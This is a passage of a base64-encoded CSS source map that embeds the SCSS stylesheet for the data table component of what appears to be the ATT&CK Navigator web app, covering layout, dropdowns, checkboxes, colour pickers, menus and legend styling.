UE7RUFDQSxnQkFBQTtFQUNBLGdCQUFBO0FKc0RSO0FJckRRO0VBQ0ksd0JBQUE7QUp1RFo7QUloRGdCO0VBQWlCLDJCQUFBO0VBQTZCLG1CQUFBO0VBQXFCLG1CQUFBO0VBQXFCLFVBQUE7QUpzRHhHO0FJbERnQjtFQUFTLGtCQUFBO0FKcUR6QjtBSS9DQTtFQUNJLFlBQUE7RUFDQSxnQkFBQTtBSmtESjtBSWpESTtFQUNJLFdBQUE7QUptRFI7QUloREk7RUFDSSxhQUFBO0FKa0RSO0FJakRRO0VBQ0ksNkJBQUE7QUptRFoiLCJmaWxlIjoic3JjL2FwcC9kYXRhdGFibGUvZGF0YS10YWJsZS5jb21wb25lbnQuc2NzcyIsInNvdXJjZXNDb250ZW50IjpbIkBjaGFyc2V0IFwiVVRGLThcIjtcbi8qKlxuICogQ29sb3JzIHVzZWQgYWNyb3NzIHRoZSBOYXZpZ2F0b3IuIFNoYXJlZCBieSB0aGUgQVRUJkNLIFdlYnNpdGUuXG4gKiBGb3IgZWFjaCBjb2xvci1wYWlyOlxuICogICAtIFwiY29sb3JcIiByZWZlcnMgdG8gdGhlIGNvbG9yIGl0c2VsZlxuICogICAtIFwib24tY29sb3JcIiByZWZlcnMgdG8gdGhlIG1vc3QgcmVhZGFibGUgdGV4dC1jb2xvciB0byBhcHBlYXIgb24gdG9wIG9mIHRoZSBjb2xvci4gXG4gKiBOb3RlOiBzb21lIGNvbG9ycyBkb24ndCBkZWZpbmUgb24tY29sb3JzLiBUaGlzIGlzIGJlY2F1c2UsIGZvciB0aGVzZSBjb2xvcnMsIHRoZXkgYXJlbid0IGludGVuZGVkIHRvXG4gKiBhcHBlYXIgd2l0aCBpbm5lciBjb250ZW50LiBGb3IgZXhhbXBsZSwgXCJsaW5rXCIgaXMgb25seSBpbnRlbmRlZCB0byBiZSB1c2VkIGZvciBsaW5rIHRleHQsIHdoaWNoIGluaGVyZW50bHlcbiAqIGNhbm5vdCBoYXZlIGlubmVyIHRleHQuXG4gKi9cbi8qIFlvdSBjYW4gYWRkIGdsb2JhbCBzdHlsZXMgdG8gdGhpcyBmaWxlLCBhbmQgYWxzbyBpbXBvcnQgb3RoZXIgc3R5bGUgZmlsZXMgKi9cbkBpbXBvcnQgXCJ+QGFuZ3VsYXIvbWF0ZXJpYWwvcHJlYnVpbHQtdGhlbWVzL2luZGlnby1waW5rLmNzc1wiO1xuLyoqXG4gKiBDb2xvcnMgdXNlZCBhY3Jvc3MgdGhlIE5hdmlnYXRvci4gU2hhcmVkIGJ5IHRoZSBBVFQmQ0sgV2Vic2l0ZS5cbiAqIEZvciBlYWNoIGNvbG9yLXBhaXI6XG4gKiAgIC0gXCJjb2xvclwiIHJlZmVycyB0byB0aGUgY29sb3IgaXRzZWxmXG4gKiAgIC0gXCJvbi1jb2xvclwiIHJlZmVycyB0byB0aGUgbW9zdCByZWFkYWJsZSB0ZXh0LWNvbG9yIHRvIGFwcGVhciBvbiB0b3Agb2YgdGhlIGNvbG9yLiBcbiAqIE5vdGU6IHNvbWUgY29sb3JzIGRvbid0IGRlZmluZSBvbi1jb2xvcnMuIFRoaXMgaXMgYmVjYXVzZSwgZm9yIHRoZXNlIGNvbG9ycywgdGhleSBhcmVuJ3QgaW50ZW5kZWQgdG9cbiAqIGFwcGVhciB3aXRoIGlubmVyIGNvbnRlbnQuIEZvciBleGFtcGxlLCBcImxpbmtcIiBpcyBvbmx5IGludGVuZGVkIHRvIGJlIHVzZWQgZm9yIGxpbmsgdGV4dCwgd2hpY2ggaW5oZXJlbnRseVxuICogY2Fubm90IGhhdmUgaW5uZXIgdGV4dC5cbiAqL1xuYm9keSB7XG4gIHBhZGRpbmc6IDAgMTVweCAxNXB4IDE1cHg7XG4gIG1hcmdpbi10b3A6IDA7XG4gIGZvbnQtZmFtaWx5OiAtYXBwbGUtc3lzdGVtLCBCbGlua01hY1N5c3RlbUZvbnQsIFwiU2Vnb2UgVUlcIiwgUm9ib3RvLCBPeHlnZW4sIFVidW50dSwgQ2FudGFyZWxsLCBcIk9wZW4gU2Fuc1wiLCBcIkhlbHZldGljYSBOZXVlXCIsIHNhbnMtc2VyaWY7XG59XG5cbi5ub3NlbGVjdCB7XG4gIC13ZWJraXQtdG91Y2gtY2FsbG91dDogbm9uZTtcbiAgLyogaU9TIFNhZmFyaSAqL1xuICAtd2Via2l0LXVzZXItc2VsZWN0OiBub25lO1xuICAvKiBTYWZhcmkgKi9cbiAgLWtodG1sLXVzZXItc2VsZWN0OiBub25lO1xuICAvKiBLb25xdWVyb3IgSFRNTCAqL1xuICAtbW96LXVzZXItc2VsZWN0OiBub25lO1xuICAvKiBGaXJlZm94ICovXG4gIC1tcy11c2VyLXNlbGVjdDogbm9uZTtcbiAgLyogSW50ZXJuZXQgRXhwbG9yZXIvRWRnZSAqL1xuICB1c2VyLXNlbGVjdDogbm9uZTtcbiAgLyogTm9uLXByZWZpeGVkIHZlcnNpb24sIGN1cnJlbnRseVxuICAgICBzdXBwb3J0ZWQgYnkgQ2hyb21lIGFuZCBPcGVyYSAqL1xufVxuXG4uY29udHJvbHNDb250YWluZXIge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjZGRkO1xuICB0ZXh0LWFsaWduOiByaWdodDtcbiAgZGlzcGxheTogYmxvY2s7XG59XG4uY29udHJvbHNDb250YWluZXIgdWwge1xuICBtYXJnaW46IDA7XG59XG4uY29udHJvbHNDb250YWluZXIgLmNvbnRyb2wtc2VjdGlvbnMgPiBsaSB7XG4gIGxpc3Qtc3R5bGU6IG5vbmU7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjYzljOWM5O1xuICBwYWRkaW5nOiAwIDVweCAwIDVweDtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xufVxuLmNvbnRyb2xzQ29udGFpbmVyIC5jb250cm9sLXNlY3Rpb25zID4gbGkgLnNlY3Rpb24tbGFiZWwge1xuICBmb250LXNpemU6IDhwdDtcbiAgdG9wOiAtMTNweDtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICBib3JkZXItY29sb3I6IHdoaXRlO1xuICBib3JkZXItc3R5bGU6IHNvbGlkO1xuICBib3JkZXItd2lkdGg6IDFweCAxcHggMCAxcHg7XG4gIHBhZGRpbmc6IDAgNXB4O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjZGRkO1xuICBib3JkZXItcmFkaXVzOiAycHggMnB4IDAgMDtcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xuICBjb2xvcjogIzU1NTtcbiAgY3Vyc29yOiBkZWZhdWx0O1xuICB1c2VyLXNlbGVjdDogbm9uZTtcbiAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbn1cbi5jb250cm9sc0NvbnRhaW5lciAuY29udHJvbC1zZWN0aW9ucyA+IGxpIC5jb250cm9sLXJvdy1pdGVtIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIGhlaWdodDogMzRweDtcbn1cbi5jb250cm9sc0NvbnRhaW5lciAuY29udHJvbC1zZWN0aW9ucyA+IGxpIC5jb250cm9sLXJvdy1pdGVtIC5jb250cm9sLXJvdy1idXR0b24ge1xuICBib3JkZXItcmFkaXVzOiAzcHg7XG4gIHBhZGRpbmc6IDVweDtcbiAgaGVpZ2h0OiAyNHB4O1xuICBjdXJzb3I6IHBvaW50ZXI7XG59XG4uY29udHJvbHNDb250YWluZXIgLmNvbnRyb2wtc2VjdGlvbnMgPiBsaSAuY29udHJvbC1yb3ctaXRlbSAuY29udHJvbC1yb3ctYnV0dG9uOmhvdmVyIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2QwZDBkMDtcbn1cbi5jb250cm9sc0NvbnRhaW5lciAuY29udHJvbC1zZWN0aW9ucyA+IGxpIC5jb250cm9sLXJvdy1pdGVtIC5jb250cm9sLXJvdy1idXR0b24uZHJvcGRvd246OmFmdGVyIHtcbiAgZm9udC1zaXplOiA1cHQ7XG4gIGNvbnRlbnQ6IFwi4pa8XCI7XG59XG4uY29udHJvbHNDb250YWluZXIgLmNvbnRyb2wtc2VjdGlvbnMgPiBsaSAuY29udHJvbC1yb3ctaXRlbSAuZHJvcGRvd24tY29udGFpbmVyIHtcbiAgYm9yZGVyOiAxcHggc29saWQgYmxhY2s7XG4gIGJhY2tncm91bmQtY29sb3I6IHdoaXRlO1xuICBib3gtc2hhZG93OiAxMHB4IDEwcHggNXB4IHJnYmEoMCwgMCwgMCwgMC41KTtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB6LWluZGV4OiAxMDA7XG4gIHdpZHRoOiBtYXgtY29udGVudDtcbn1cbi5jb250cm9sc0NvbnRhaW5lciAuY29udHJvbC1zZWN0aW9ucyA+IGxpIC5jb250cm9sLXJvdy1pdGVtIC5kcm9wZG93bi1jb250YWluZXIubGVmdCB7XG4gIHJpZ2h0OiAwO1xufVxuLmNvbnRyb2xzQ29udGFpbmVyIC5jb250cm9sLXNlY3Rpb25zID4gbGkgLmNvbnRyb2wtcm93LWl0ZW0gLmRyb3Bkb3duLWNvbnRhaW5lci5pbnB1dGZpZWxkIHtcbiAgd2lkdGg6IDE1MHB4O1xuICBwYWRkaW5nOiAwcHggMTBweDtcbn1cbi5jb250cm9sc0NvbnRhaW5lciAuY29udHJvbC1zZWN0aW9ucyA+IGxpIC5jb250cm9sLXJvdy1pdGVtIC5kcm9wZG93bi1jb250YWluZXIuaW5wdXRmaWVsZCBtYXQtZm9ybS1maWVsZCB7XG4gIHdpZHRoOiAxMDAlO1xufVxuLmNvbnRyb2xzQ29udGFpbmVyIC5jb250cm9sLXNlY3Rpb25zID4gbGkgLmNvbnRyb2wtcm93LWl0ZW0gLmRyb3Bkb3duLWNvbnRhaW5lci5pbnB1dGZpZWxkIG1hdC1mb3JtLWZpZWxkOmZpcnN0LWNoaWxkIHtcbiAgcGFkZGluZy10b3A6IDVweDtcbn1cblxuLmNoZWNrYm94LWN1c3RvbSB7XG4gIG9wYWNpdHk6IDA7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbn1cbi5jaGVja2JveC1jdXN0b206ZGlzYWJsZWQge1xuICBjdXJzb3I6IGRlZmF1bHQ7XG59XG5cbi5jaGVja2JveC1jdXN0b20sIC5jaGVja2JveC1jdXN0b20tbGFiZWwge1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gIG1hcmdpbjogNXB4O1xuICBjdXJzb3I6IHBvaW50ZXI7XG59XG5cbi5jaGVja2JveC1jdXN0b20tbGFiZWwge1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG59XG4uY2hlY2tib3gtY3VzdG9tLWxhYmVsLmRpc2FibGVkIHtcbiAgY29sb3I6IHJnYmEoMCwgMCwgMCwgMC40Nik7XG4gIGN1cnNvcjogZGVmYXVsdDtcbn1cblxuLmNoZWNrYm94LWN1c3RvbSArIC5jaGVja2JveC1jdXN0b20tbGFiZWw6YmVmb3JlIHtcbiAgY29udGVudDogXCJcIjtcbiAgYmFja2dyb3VuZDogI2ZmZjtcbiAgYm9yZGVyOiAzcHggc29saWQgI2RkZDtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xuICB3aWR0aDogMTBweDtcbiAgaGVpZ2h0OiAxMHB4O1xuICBwYWRkaW5nOiAycHg7XG4gIG1hcmdpbi1yaWdodDogNXB4O1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG59XG5cbi5jaGVja2JveC1jdXN0b206Y2hlY2tlZCArIC5jaGVja2JveC1jdXN0b20tbGFiZWw6YmVmb3JlIHtcbiAgYmFja2dyb3VuZDogIzYwYzVmZjtcbiAgYm94LXNoYWRvdzogaW5zZXQgMHB4IDBweCAwcHggMXB4ICM2MGM1ZmY7XG59XG5cbi5jaGVja2JveC1jdXN0b206Y2hlY2tlZDpkaXNhYmxlZCArIC5jaGVja2JveC1jdXN0b20tbGFiZWw6YmVmb3JlIHtcbiAgYmFja2dyb3VuZDogI2IwYjBiMDtcbiAgYm94LXNoYWRvdzogaW5zZXQgMHB4IDBweCAwcHggMXB4ICNiMGIwYjA7XG59XG5cbi5tYXRyaWNlcyB7XG4gIG92ZXJmbG93LXg6IHNjcm9sbDtcbiAgbWluLWhlaWdodDogNTB2aDtcbiAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbn1cbi5tYXRyaWNlcyAubWF0cmljZXMtY29sdW1ucyB7XG4gIGRpc3BsYXk6IHRhYmxlO1xufVxuLm1hdHJpY2VzIC5tYXRyaWNlcy1jb2x1bW5zIC5tYXRyaXgtY29sdW1uIHtcbiAgZGlzcGxheTogdGFibGUtY2VsbDtcbiAgd2hpdGUtc3BhY2U6IG5vcm1hbDtcbiAgcGFkZGluZzogMTBweDtcbn1cbi5tYXRyaWNlcyAubWF0cmljZXMtY29sdW1ucyAubWF0cml4LWNvbHVtbiAubWF0cml4LW5hbWUge1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIHBhZGRpbmctYm90dG9tOiA1cHg7XG4gIG1hcmdpbi1ib3R0b206IDVweDtcbiAgZm9udC1zaXplOiAxNnB4O1xuICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2RkZDtcbn1cbi5tYXRyaWNlcyAubWF0cmljZXMtY29sdW1ucyAubWF0cml4LWNvbHVtbiArIC5tYXRyaXgtY29sdW1uIHtcbiAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjZGRkO1xufVxuXG4ubXVsdGlzZWxlY3QtZHJvcGRvd24ge1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG59XG5cbi5jb2xvcnBpY2tlciB7XG4gIHdpZHRoOiA4OHB4ICFpbXBvcnRhbnQ7XG4gIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbn1cbi5jb2xvcnBpY2tlciAuY29sb3ItYmxvY2sge1xuICBjdXJzb3I6IHBvaW50ZXI7XG4gIGJvcmRlcjogMXB4IHNvbGlkIGJsYWNrO1xuICBtYXJnaW46IDIuNXB4O1xufVxuLmNvbG9ycGlja2VyIC5jb2xvci1ibG9jay5zcXVhcmUge1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gIHdpZHRoOiAxNXB4O1xuICBoZWlnaHQ6IDE1cHg7XG59XG4uY29sb3JwaWNrZXIgLmNvbG9yLWJsb2NrLndpZGUge1xuICBkaXNwbGF5OiBibG9jaztcbiAgaGVpZ2h0OiAxNXB4O1xuICBmb250LXNpemU6IDEwcHQ7XG4gIGNvbG9yOiBncmF5O1xufVxuXG4uY29sb3JTZXR1cCB7XG4gIGZvbnQtc2l6ZTogOHB0O1xufVxuLmNvbG9yU2V0dXAgLmNvbG9ycGlja2VyIHtcbiAgd2lkdGg6IDEwZXg7XG59XG4uY29sb3JTZXR1cCAuZ3JhZGllbnQtc2VjdGlvbi1sYWJlbCB7XG4gIGZvbnQtd2VpZ2h0OiBib2xkO1xuICBwYWRkaW5nOiA0cHg7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbn1cbi5jb2xvclNldHVwIC5ncmFkaWVudC1zZWN0aW9uLWNvbnRlbnQge1xuICBib3JkZXItdG9wOiAxcHggc29saWQgYmxhY2s7XG4gIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBibGFjaztcbiAgdGV4dC1hbGlnbjogbGVmdDtcbn1cbi5jb2xvclNldHVwIC5kaXNwbGF5LWJ1dHRvbnMge1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG59XG4uY29sb3JTZXR1cCAuZGlzcGxheS1idXR0b25zIC5zcXVhcmVidXR0b24ge1xuICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICBwYWRkaW5nOiA0cHggMDtcbiAgY3Vyc29yOiBwb2ludGVyO1xufVxuLmNvbG9yU2V0dXAgLmRpc3BsYXktYnV0dG9ucyAuc3F1YXJlYnV0dG9uOmhvdmVyIHtcbiAgYmFja2dyb3VuZDogI2YxZjFmMTtcbn1cbi5jb2xvclNldHVwIC5kaXNwbGF5LWJ1dHRvbnMgLnNxdWFyZWJ1dHRvbi5ncmFkaWVudDpob3ZlciB7XG4gIHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lO1xufVxuLmNvbG9yU2V0dXAgLmRpc3BsYXktYnV0dG9ucyAucHJlc2V0c21lbnUge1xuICB3aWR0aDogOTAlO1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG59XG4uY29sb3JTZXR1cCAuZ3JhZGllbnQtY29udHJvbHMgdGFibGUge1xuICBwYWRkaW5nOiAwO1xuICBtYXJnaW46IDA7XG4gIGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7XG59XG4uY29sb3JTZXR1cCAuZ3JhZGllbnQtY29udHJvbHMgdGFibGUgdGQuYnV0dG9ucyA+IGRpdiB7XG4gIG92ZXJmbG93OiBoaWRkZW47XG4gIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuICB3aGl0ZS1zcGFjZTogbm93cmFwO1xufVxuLmNvbG9yU2V0dXAgLmdyYWRpZW50LWNvbnRyb2xzIHRhYmxlIHRkIC5sZWZ0LCAuY29sb3JTZXR1cCAuZ3JhZGllbnQtY29udHJvbHMgdGFibGUgdGQgLnJpZ2h0IHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xufVxuLmNvbG9yU2V0dXAgLmdyYWRpZW50LWNvbnRyb2xzIHRhYmxlIHRkIC5sZWZ0IHtcbiAgZmxvYXQ6IGxlZnQ7XG59XG4uY29sb3JTZXR1cCAuZ3JhZGllbnQtY29udHJvbHMgdGFibGUgdGQgLnJpZ2h0IHtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbn1cbi5jb2xvclNldHVwIC5ncmFkaWVudC1jb250cm9scyB0YWJsZSB0ZCAucmlnaHQgc2VsZWN0IHtcbiAgd2lkdGg6IDgwcHg7XG59XG4uY29sb3JTZXR1cCAuZ3JhZGllbnQtY29udHJvbHMgdGFibGUgdGQuY29sMiB7XG4gIHdpZHRoOiA0NXB4O1xufVxuLmNvbG9yU2V0dXAgLmdyYWRpZW50LWNvbnRyb2xzIHRhYmxlIHRkLmNvbDIgaW5wdXRbdHlwZT1udW1iZXJdIHtcbiAgd2lkdGg6IDQwcHg7XG59XG4uY29sb3JTZXR1cCAuZ3JhZGllbnQtY29udHJvbHMgdGFibGUgLm1pbm1heCB7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2YxZjFmMTtcbn1cbi5jb2xvclNldHVwIC5ncmFkaWVudC1jb250cm9scyAuYWRkY29sb3Ige1xuICB3aWR0aDogMTAwJTtcbn1cblxuLnNlbGVjdF9iZWhhdmlvciB7XG4gIHBhZGRpbmc6IDVweDtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbn1cblxuLmNvbnRleHRNZW51LWNvdmVyIHtcbiAgcG9zaXRpb246IGZpeGVkO1xuICBsZWZ0OiAwO1xuICB0b3A6IDA7XG4gIHdpZHRoOiAxMDB2dztcbiAgaGVpZ2h0OiAxMDB2aDtcbn1cblxuLmNvbnRleHRNZW51LWJveCB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgYm9yZGVyOiAxcHggc29saWQgYmxhY2s7XG4gIGJhY2tncm91bmQtY29sb3I6IHdoaXRlO1xuICBib3gtc2hhZG93OiAxMHB4IDEwcHggNXB4IHJnYmEoMCwgMCwgMCwgMC41KTtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB6LWluZGV4OiAxMDA7XG4gIHdpZHRoOiBtYXgtY29udGVudDtcbn1cbi5jb250ZXh0TWVudS1ib3gubGVmdCB7XG4gIHJpZ2h0OiAwO1xufVxuLmNvbnRleHRNZW51LWJveCAuY29udGV4dE1lbnUtc2VjdGlvbjpub3QoOmZpcnN0LWNoaWxkKSB7XG4gIGJvcmRlci10b3A6IDFweCBzb2xpZCAjZGRkO1xuICBtYXJnaW4tdG9wOiAycHg7XG4gIHBhZGRpbmctdG9wOiAycHg7XG59XG4uY29udGV4dE1lbnUtYm94IC5jb250ZXh0TWVudS1zZWN0aW9uIC5jb250ZXh0TWVudS1idXR0b24ge1xuICBwYWRkaW5nOiAzcHg7XG4gIGN1cnNvcjogcG9pbnRlcjtcbn1cbi5jb250ZXh0TWVudS1ib3ggLmNvbnRleHRNZW51LXNlY3Rpb24gLmNvbnRleHRNZW51LWJ1dHRvbjpob3ZlciB7XG4gIGJhY2tncm91bmQ6ICM2MGM1ZmY7XG59XG5cbi5tYXQtc2VsZWN0IDpmb2N1cyB7XG4gIGNvbG9yOiAjNjM5NjFDO1xufVxuXG4uZmlsdGVycyB7XG4gIHBhZGRpbmc6IDRweDtcbn1cbi5maWx0ZXJzIC5maWx0ZXIge1xuICB0ZXh0LWFsaWduOiBsZWZ0O1xufVxuLmZpbHRlcnMgLmZpbHRlcjpub3QoOmZpcnN0LWNoaWxkKSB7XG4gIG1hcmdpbi10b3A6IDRweDtcbn1cbi5maWx0ZXJzIC5maWx0ZXIgLmZpbHRlci1vcHRpb246aG92ZXIge1xuICBiYWNrZ3JvdW5kOiAjNjBjNWZmO1xufVxuXG4ubXVsdGlzZWxlY3Qge1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG59XG4ubXVsdGlzZWxlY3QgLm11bHRpc2VsZWN0LWdyb3VwaW5nIC5tdWx0aXNlbGVjdC1ncm91cGluZy1sYWJlbCB7XG4gIHBhZGRpbmc6IDRweDtcbiAgZm9udC13ZWlnaHQ6IGJvbGQ7XG59XG4ubXVsdGlzZWxlY3QgLm11bHRpc2VsZWN0LWdyb3VwaW5nIC5tdWx0aXNlbGVjdC1saXN0IHtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkIGJsYWNrO1xuICBib3JkZXItYm90dG9tOiAxcHggc29saWQgYmxhY2s7XG4gIGhlaWdodDogMjAwcHg7XG4gIG92ZXJmbG93LXk6IHNjcm9sbDtcbn1cbi5tdWx0aXNlbGVjdCAubXVsdGlzZWxlY3QtZ3JvdXBpbmcgLm11bHRpc2VsZWN0LWxpc3QgdGFibGUge1xuICBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlO1xufVxuLm11bHRpc2VsZWN0IC5tdWx0aXNlbGVjdC1ncm91cGluZyAubXVsdGlzZWxlY3QtbGlzdCAubXVsdGlzZWxlY3QtbGlzdC1pdGVtOmhvdmVyIHtcbiAgYmFja2dyb3VuZDogIzYwYzVmZjtcbn1cbi5tdWx0aXNlbGVjdCAubXVsdGlzZWxlY3QtZ3JvdXBpbmcgLm11bHRpc2VsZWN0LWxpc3QgLm11bHRpc2VsZWN0LWxpc3QtaXRlbSAubXVsdGlzZWxlY3QtbGlzdC1pdGVtLWxhYmVsIHtcbiAgd2lkdGg6IDI1ZXg7XG59XG4ubXVsdGlzZWxlY3QgLm11bHRpc2VsZWN0LWdyb3VwaW5nIC5tdWx0aXNlbGVjdC1saXN0IC5tdWx0aXNlbGVjdC1saXN0LWl0ZW0uc2VsZWN0ZWQ6bm90KDpob3Zlcikge1xuICBiYWNrZ3JvdW5kOiAjZGRkO1xufVxuXG4uc2VhcmNoIHtcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xufVxuLnNlYXJjaCAuc2VhcmNoLWxpc3Qge1xuICBtYXJnaW4tdG9wOiAycHg7XG4gIHRleHQtYWxpZ246IGxlZnQ7XG4gIGJvcmRlci10b3A6IDFweCBzb2xpZCBibGFjaztcbiAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIGJsYWNrO1xuICBoZWlnaHQ6IDMwMHB4O1xuICBvdmVyZmxvdy15OiBzY3JvbGw7XG59XG4uc2VhcmNoIC5zZWFyY2gtbGlzdCB0YWJsZSB7XG4gIGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7XG4gIHdpZHRoOiAzMjVweDtcbn1cbi5zZWFyY2ggLnNlYXJjaC1saXN0IC5zZWFyY2gtbGlzdC1pdGVtOmhvdmVyIHtcbiAgYmFja2dyb3VuZDogIzYwYzVmZjtcbn1cbi5zZWFyY2ggLnNlYXJjaC1saXN0IC5zZWFyY2gtbGlzdC1pdGVtIC5zZWFyY2gtbGlzdC1pdGVtLWxhYmVsIHtcbiAgd2lkdGg6IDI1ZXg7XG59XG4uc2VhcmNoIC5zZWFyY2gtbGlzdCAuc2VhcmNoLWxpc3QtaXRlbS5zZWxlY3RlZDpub3QoOmhvdmVyKSB7XG4gIGJhY2tncm91bmQ6ICNkZGQ7XG59XG5cbi5zZWFyY2gtYnV0dG9uOmhvdmVyIHtcbiAgYmFja2dyb3VuZDogIzYwYzVmZjtcbn1cblxuLmJ1dHRvbiB7XG4gIGJhY2tncm91bmQtY29sb3I6ICNkZGQ7XG4gIGJvcmRlcjogbm9uZTtcbiAgcGFkZGluZzogNHB4IDEwcHg7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgbWFyZ2luOiAycHggMXB4O1xuICB0cmFuc2l0aW9uOiAwLjNzO1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgY3Vyc29yOiBwb2ludGVyO1xufVxuLmJ1dHRvbjpob3ZlciB7XG4gIGJhY2tncm91bmQtY29sb3I6ICNiOGI4Yjg7XG59XG5cbi5kZXNlbGVjdE51bWJlciB7XG4gIGZvbnQtc2l6ZTogNXB0O1xuICBib3R0b206IDJweDtcbiAgcmlnaHQ6IDRweDtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB0ZXh0LWFsaWduOiByaWdodDtcbn1cblxuLmxlZ2VuZCB7XG4gIHBvc2l0aW9uOiBmaXhlZDtcbiAgYm90dG9tOiAwO1xuICByaWdodDogMDtcbiAgd2lkdGg6IDMwMHB4O1xuICBoZWlnaHQ6IDMwMHB4O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTtcbiAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjZGRkO1xufVxuLmxlZ2VuZCAuaXRlbUFyZWEge1xuICBwb3NpdGlvbjogc3RhdGljO1xuICBvdmVyZmxvdy15OiBzY3JvbGw7XG4gIG1hcmdpbi10b3A6IDMwcHg7XG4gIGhlaWdodDogMjcwcHg7XG4gIHdpZHRoOiAxMDAlO1xuICBvdmVyZmxvdy14OiBoaWRkZW47XG59XG4ubGVnZW5kIC5pdGVtQXJlYSAuaXRlbSB7XG4gIHdpZHRoOiAxMDAlO1xuICBoZWlnaHQ6IDQwcHg7XG4gIHBhZGRpbmctbGVmdDogNXB4O1xufVxuLmxlZ2VuZCAuaXRlbUFyZWEgLml0ZW0gLmxhYmVsIHtcbiAgbWFyZ2luLWxlZnQ6IDEwcHg7XG4gIHdpZHRoOiAxNTBweDtcbn1cbi5sZWdlbmQgLml0ZW1BcmVhIC5ldmVuIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2YxZjFmMTtcbiAgd2lkdGg6IDEwMCU7XG4gIGhlaWdodDogNDBweDtcbn1cbi5sZWdlbmQgLml0ZW1BcmVhIC5ldmVuIC5sYWJlbCB7XG4gIG1hcmdpbi1sZWZ0OiAxMHB4O1xuICB3aWR0aDogMTUwcHg7XG59XG5cbi5sZWdlbmRCYXIge1xuICBwb3NpdGlvbjogZml4ZWQ7XG4gIGJvdHRvbTogMDtcbiAgcmlnaHQ6IDA7XG4gIHdpZHRoOiAzMDBweDtcbiAgaGVpZ2h0OiAzMHB4O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjZGRkO1xuICB0cmFuc2l0aW9uOiAwLjNzO1xufVxuLmxlZ2VuZEJhcjpob3ZlciB7XG4gIGJhY2tncm91bmQ6ICM2MGM1ZmY7XG4gIGN1cnNvcjogcG9pbnRlcjtcbn1cblxuLmxheWVyX2luZm8ge1xuICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7XG4gIGJveC1zaXppbmc6IGJvcmRlci1ib3ggIWltcG9ydGFudDtcbiAgd2lkdGg6IDI1MHB4ICFpbXBvcnRhbnQ7XG59XG4ubGF5ZXJfaW5mbyAubmFtZV9kZXNjIHtcbiAgcGFkZGluZzogMCAxMHB4O1xufVxuLmxheWVyX2luZm8gLm1ldGFkYXRhX2lucHV0IHtcbiAgcGFkZGluZy1sZWZ0OiAxMHB4O1xuICBtYXJnaW4tYm90dG9tOiAycHg7XG4gIG1heC1oZWlnaHQ6IDUwdmg7XG4gIG92ZXJmbG93LXk6IGF1dG87XG4gIHRleHQtYWxpZ246IGxlZnQ7XG59XG4ubGF5ZXJfaW5mbyAubWV0YWRhdGFfaW5wdXQgdGFibGUge1xuICBib3JkZXItc3BhY2luZzogNXB4IDE1cHg7XG59XG4ubGF5ZXJfaW5mbyAubWV0YWRhdGFfaW5wdXQgdGFibGUgLmZvcm1maWVsZC1ncm91cCB0ZDpmaXJzdC1jaGlsZCB7XG4gIGJvcmRlci13aWR0aDogMXB4IDAgMXB4IDFweDtcbiAgYm9yZGVyLWNvbG9yOiBibGFjaztcbiAgYm9yZGVyLXN0eWxlOiBzb2xpZDtcbiAgd2lkdGg6IDVweDtcbn1cbi5sYXllcl9pbmZvIC5tZXRhZGF0YV9pbnB1dCB0YWJsZSAuZm9ybWZpZWxkLWdyb3VwIGJ1dHRvbiB7XG4gIG1h